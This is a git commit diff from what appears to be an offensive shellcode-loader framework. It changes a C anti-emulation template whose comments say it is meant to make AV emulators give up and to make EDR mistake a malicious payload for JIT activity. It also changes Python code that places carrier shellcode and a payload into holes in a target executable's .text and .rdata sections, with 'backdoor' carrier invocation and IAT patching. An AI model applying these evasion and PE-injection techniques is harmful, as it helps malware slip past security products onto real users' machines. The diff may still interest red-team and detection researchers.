This commit is contained in:
Dobin Rutishauser
2024-07-07 21:40:23 +02:00
10 changed files with 103 additions and 60 deletions
Binary file not shown.
Binary file not shown.
Binary file not shown.
+21 -28
View File
@@ -1,28 +1,31 @@
#define SIR_ITERATION_COUNT {{SIR_ITERATION_COUNT}}
#define SIR_ALLOC_COUNT {{SIR_ALLOC_COUNT}}
#define SIR_SLEEP_TIME 200 // ms
/* This will allocate SIR_ALLOC_COUNT RW memory regions, /* This will allocate SIR_ALLOC_COUNT RW memory regions,
set them to RX, and free them set them to RX, and free them.
And this SIR_ITERATION_COUNT times.
The idea is that the AV emulator will probably give up, either because SIR_ITERATION_COUNT: Single digits, around 5
of used memory is above maximum, or amount of instructions, or SIR_ALLOC_COUNT: Tripple digits, around 100
number of API calls, or time.
It hopefully also makes the EDR think this program is doing some Memory : SIR_ALLOC_COUNT * payload_length
kind of interpreter or JIT compilation, and not a malicious payload. Cycles : SIR_ALLOC_COUNT * payload_length * SIR_ITERATION_COUNT
Time : SIR_ALLOC_COUNT * SIR_ITERATION_COUNT * payload_length * ?
API calls: SIR_ALLOC_COUNT * SIR_ITERATION_COUNT * 3
The idea is that the AV emulator will probably give up, either because
of used memory is above maximum, or amount of instructions, or
number of API calls, or time.
It hopefully also makes the EDR think this program is doing some
kind of interpreter or JIT compilation, and not a malicious payload.
*/ */
void antiemulation() { void antiemulation() {
void* allocs[SIR_ALLOC_COUNT]; void* allocs[{{SIR_ALLOC_COUNT}}];
DWORD result; DWORD result;
for(int i=0; i<SIR_ITERATION_COUNT; i++) { for(int i=0; i<{{SIR_ITERATION_COUNT}}; i++) {
for(int n=0; n<SIR_ALLOC_COUNT; n++) { for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
allocs[n] = VirtualAlloc( allocs[n] = VirtualAlloc(
NULL, NULL,
{{PAYLOAD_LEN}}, {{PAYLOAD_LEN}},
@@ -37,33 +40,23 @@ void antiemulation() {
} }
} }
// Write something. for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
/*for(int n=0; n<SIR_ALLOC_COUNT; n++) {
char *alloc = allocs[n];
alloc[0] = 0; // overwrite the first byte
}*/
for(int n=0; n<SIR_ALLOC_COUNT; n++) {
if (VirtualProtect( if (VirtualProtect(
allocs[n], allocs[n],
{{PAYLOAD_LEN}}, {{PAYLOAD_LEN}},
p_RX, p_RX,
&result) == 0) &result) == 0)
{ {
return 7; return;
} }
} }
Sleep(SIR_SLEEP_TIME);
BOOL bSuccess; BOOL bSuccess;
for(int n=0; n<SIR_ALLOC_COUNT; n++) { for(int n=0; n<{{SIR_ALLOC_COUNT}}; n++) {
bSuccess = VirtualFree( bSuccess = VirtualFree(
allocs[n], allocs[n],
{{PAYLOAD_LEN}}, {{PAYLOAD_LEN}},
0x00008000); // MEM_RELEASE 0x00008000); // MEM_RELEASE
} }
} }
} }
@@ -22,6 +22,8 @@ char *supermega_payload;
{{plugin_executionguardrail}} {{plugin_executionguardrail}}
{{plugin_virtualprotect}}
int main() int main()
{ {
+4
View File
@@ -23,6 +23,10 @@ class Settings():
self.dllfunc: str = "" # For DLL injection self.dllfunc: str = "" # For DLL injection
# Anti-debugging
self.sir_iteration_count: int = 5
self.sir_alloc_count: int = 100
# Injectable # Injectable
self.carrier_invoke_style: CarrierInvokeStyle = CarrierInvokeStyle.BackdoorCallInstr self.carrier_invoke_style: CarrierInvokeStyle = CarrierInvokeStyle.BackdoorCallInstr
self.inject_exe_in: FilePath = "" self.inject_exe_in: FilePath = ""
+1 -1
View File
@@ -129,7 +129,7 @@ class SuperPe():
def has_rodata_section(self) -> bool: def has_rodata_section(self) -> bool:
return self.get_section_by_name(".rdata") return self.get_section_by_name(".rdata") != None
def write_code_section_data(self, data: bytes): def write_code_section_data(self, data: bytes):
+60 -24
View File
@@ -45,30 +45,62 @@ class Injector():
def init_addresses(self): def init_addresses(self):
rm = self.superpe.get_code_rangemanager() if self.settings.payload_location == PayloadLocation.CODE:
#. text
# ┌───────────┬─────────────────────────────────────┬───────┐
# │ ├────────┼────────┼───────────────────┤ │
# │ │Carrier │ 1 Page │ Payload │ │
# │ ├────────┼────────┼───────────────────┤ │
# └───────────┴─────────────────────────────────────┴───────┘
#
# Payload is page aligned when used with dll_loader_change
# TECHNIQUE0: # carrier location
# assume payload is big, find a place for it, then prepend carrier (small) complete_size = len(self.carrier_shc) + 4096 + len(self.payload.payload_data)
complete_size = len(self.carrier_shc) + len(self.payload.payload_data) + 4096 rm = self.superpe.get_code_rangemanager()
largest_gap = rm.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
largest_gap = rm.find_holes(complete_size) # payload location: behind carrier + 1 page
if len(largest_gap) == 0: if self.settings.carrier_name == "dll_loader_change":
raise Exception('No hole found in code section to fit payload!') self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096 + 4096
largest_gap_size = largest_gap[0][1] - largest_gap[0][0] self.payload_rva = self.payload_rva & 0xFFFFF000 # page align
else:
# no page align
self.payload_rva = self.carrier_rva + len(self.carrier_shc) + 4096
else:
# .text .rdata
# ┌─────────┬─────────┬───────┐ ┌────────┬─────────┬───────┐
# │ │ │ │ │ │ │ │
# │ │ carrier │ │ │ │payload │ │
# │ │ │ │ │ │ │ │
# └─────────┴─────────┴───────┘ └────────┴─────────┴───────┘
# align to center # carrier location
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section rm = self.superpe.get_code_rangemanager()
offset += largest_gap[0][0] complete_size = len(self.carrier_shc)
largest_gap = rm.find_holes(complete_size)
if len(largest_gap) == 0:
raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
offset = int((largest_gap_size - complete_size) / 2) # centered in the .text section
offset += largest_gap[0][0]
self.carrier_rva = self.superpe.get_code_section().VirtualAddress + offset
if self.settings.carrier_name == "dll_loader_change": # payload location
# Align to page size rdata_rm = self.superpe.get_rdata_rangemanager()
offset = offset & 0xFFFFF000 complete_size = len(self.payload.payload_data)
largest_gap = rdata_rm.find_holes(complete_size)
# page aligned possibly if len(largest_gap) == 0:
self.payload_rva = offset raise Exception('No hole found in code section to fit payload!')
largest_gap_size = largest_gap[0][1] - largest_gap[0][0]
# prepend it a bit offset = largest_gap[0][0]
self.carrier_rva = offset - len(self.payload.payload_data) - 4096 self.payload_rva = self.superpe.get_section_by_name(".rdata").virt_addr + offset
## Inject ## Inject
@@ -105,6 +137,9 @@ class Injector():
else: # EXE/DLL else: # EXE/DLL
carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva) carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva)
if carrier_offset == None:
raise Exception("Carrier Offset is None, invalid carrier RVA? 0x{:X}".format(self.carrier_rva))
#logger.info("{} {}".format(self.carrier_rva, carrier_offset))
logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format( logger.info("--[ Inject: Write Carrier to 0x{:X} (0x{:X})".format(
self.carrier_rva, carrier_offset)) self.carrier_rva, carrier_offset))
@@ -205,7 +240,9 @@ class Injector():
raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format( raise Exception("IatResolve: Call to IAT has different length than placeholder: {} != {} abort".format(
len(jmp), len(placeholder) len(jmp), len(placeholder)
)) ))
idx = code.index(placeholder)
code = code.replace(placeholder, jmp) code = code.replace(placeholder, jmp)
asm_disasm(code[idx:idx+7])
self.superpe.write_code_section_data(code) self.superpe.write_code_section_data(code)
@@ -217,8 +254,6 @@ class Injector():
# nothing todo # nothing todo
return return
shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva)
# insert data # insert data
logger.info("---( DataReuseFixups: Inject the data") logger.info("---( DataReuseFixups: Inject the data")
for datareuse_fixup in reusedata_fixups: for datareuse_fixup in reusedata_fixups:
@@ -226,6 +261,7 @@ class Injector():
datareuse_fixup.string_ref, datareuse_fixup.in_code)) datareuse_fixup.string_ref, datareuse_fixup.in_code))
if datareuse_fixup.in_code: # .text if datareuse_fixup.in_code: # .text
shellcode_offset = self.superpe.pe.get_offset_from_rva(self.payload_rva)
self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data) self.superpe.pe.set_bytes_at_offset(shellcode_offset, datareuse_fixup.data)
payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset) payload_rva = self.superpe.pe.get_rva_from_offset(shellcode_offset)
datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base() datareuse_fixup.addr = payload_rva + self.injectable.superpe.get_image_base()
@@ -270,8 +306,8 @@ class Injector():
) )
asm_disasm(lea, instruction_virtual_address) # DEBUG asm_disasm(lea, instruction_virtual_address) # DEBUG
if len(lea) != len(ref.placeholder): if len(lea) != len(ref.placeholder):
raise Exception("DataReuseFixup: lea instr has different length than placeholder: {} != {} abort".format( raise Exception("DataReuseFixup: lea instr has different length than placeholder {}: {} != {} abort".format(
len(lea), len(ref.placeholder) ref.placeholder, len(lea), len(ref.placeholder)
)) ))
code = code.replace(ref.placeholder, lea) code = code.replace(ref.placeholder, lea)
+11 -7
View File
@@ -60,15 +60,19 @@ def create_c_from_template(settings: Settings, payload_len: int):
filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format( filepath_antiemulation = PATH_ANTIEMULATION + "{}.c".format(
settings.plugin_antiemulation) settings.plugin_antiemulation)
with open(filepath_antiemulation, "r", encoding='utf-8') as file: with open(filepath_antiemulation, "r", encoding='utf-8') as file:
sir_iteration_count = 5 sir_iteration_count = settings.sir_iteration_count
sir_alloc_count = int(config.get("sir_target_mem") / payload_len)+1 sir_alloc_count = settings.sir_alloc_count
# if too large, compiler will add a __checkstk dependency # sir_alloc_count = int((int(config.get("sir_target_mem")) / payload_len))+1
if sir_alloc_count > 256: max_alloc_count = 256
sir_alloc_count = 256 if sir_alloc_count > max_alloc_count:
logging.info(" AntiEmulation target: iterations: {} alloc: {}".format( # if too large, compiler will add a __checkstk dependency
logging.warning("Too large sir allocation count {}, setting to max {}".format(
sir_alloc_count, max_alloc_count
))
sir_alloc_count = max_alloc_count
logging.info("> AntiEmulation: iterations: {} allocs: {}".format(
sir_iteration_count, sir_alloc_count) sir_iteration_count, sir_alloc_count)
) )
plugin_antiemualation = file.read() plugin_antiemualation = file.read()
plugin_antiemualation = Template(plugin_antiemualation).render({ plugin_antiemualation = Template(plugin_antiemualation).render({
'PAYLOAD_LEN': payload_len, 'PAYLOAD_LEN': payload_len,
+4
View File
@@ -203,6 +203,10 @@ def start_real(settings: Settings):
build_exe = settings.main_exe_path) build_exe = settings.main_exe_path)
observer.add_code_file("carrier_shc", carrier_shellcode) observer.add_code_file("carrier_shc", carrier_shellcode)
logging.info("> Carrier Size: {} Payload Size: {}".format(
len(carrier_shellcode), len(project.payload.payload_data)
))
# INJECT loader into an exe and do IAT & data references. Big task. # INJECT loader into an exe and do IAT & data references. Big task.
injector = phases.injector.Injector( injector = phases.injector.Injector(
carrier_shellcode, carrier_shellcode,